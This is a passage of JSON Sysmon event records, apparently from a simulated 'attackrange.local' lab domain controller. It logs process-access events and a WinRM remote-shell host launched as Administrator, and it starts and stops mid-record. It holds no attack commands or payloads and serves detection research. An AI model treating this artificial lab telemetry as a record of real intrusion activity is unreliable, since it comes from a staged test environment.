11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5123,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.822\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.822","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5124,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.836\r\nProcessGuid: {90617006-416D-5F2D-0000-001088000800}\r\nProcessId: 3776\r\nImage: C:\\Windows\\System32\\winrshost.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Host Process for WinRM's Remote Shell plugin\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: winrshost.exe\r\nCommandLine: C:\\Windows\\system32\\WinrsHost.exe -Embedding\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-416D-5F2D-0000-00205A000800}\r\nLogonId: 0x8005A\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96\r\nParentProcessGuid: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nParentProcessId: 588\r\nParentImage: C:\\Windows\\System32\\svchost.exe\r\nParentCommandLine: C:\\Windows\\system32\\svchost.exe -k DcomLaunch","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.836","ProcessGuid":"{90617006-416D-5F2D-0000-001088000800}","Image":"C:\\Windows\\System32\\winrshost.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Host Process for WinRM's Remote Shell plugin","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"winrshost.exe","CommandLine":"C:\\Windows\\system32\\WinrsHost.exe -Embedding","CurrentDirectory":"C:\\Windows\\system32\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-416D-5F2D-0000-00205A000800}","LogonId":"0x8005a","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96","ParentProcessGuid":"{90617006-3FD3-5F2D-0000-0010AF650000}","ParentProcessId":"588","ParentImage":"C:\\Windows\\System32\\svchost.exe","ParentCommandLine":"C:\\Windows\\system32\\svchost.exe -k DcomLaunch","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5125,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.822\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-416D-5F2D-0000-001088000800}\r\nTargetProcessId: 3776\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.822","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-416D-5F2D-0000-001088000800}","TargetProcessId":"3776","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5126,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.822\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-416D-5F2D-0000-001088000800}\r\nTargetProcessId: 3776\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.822","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-416D-5F2D-0000-001088000800}","TargetProcessId":"3776","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5127,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.822\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.822","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5128,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.822\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.822","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5129,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.822\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.822","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5130,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.822\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.822","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5131,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.822\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 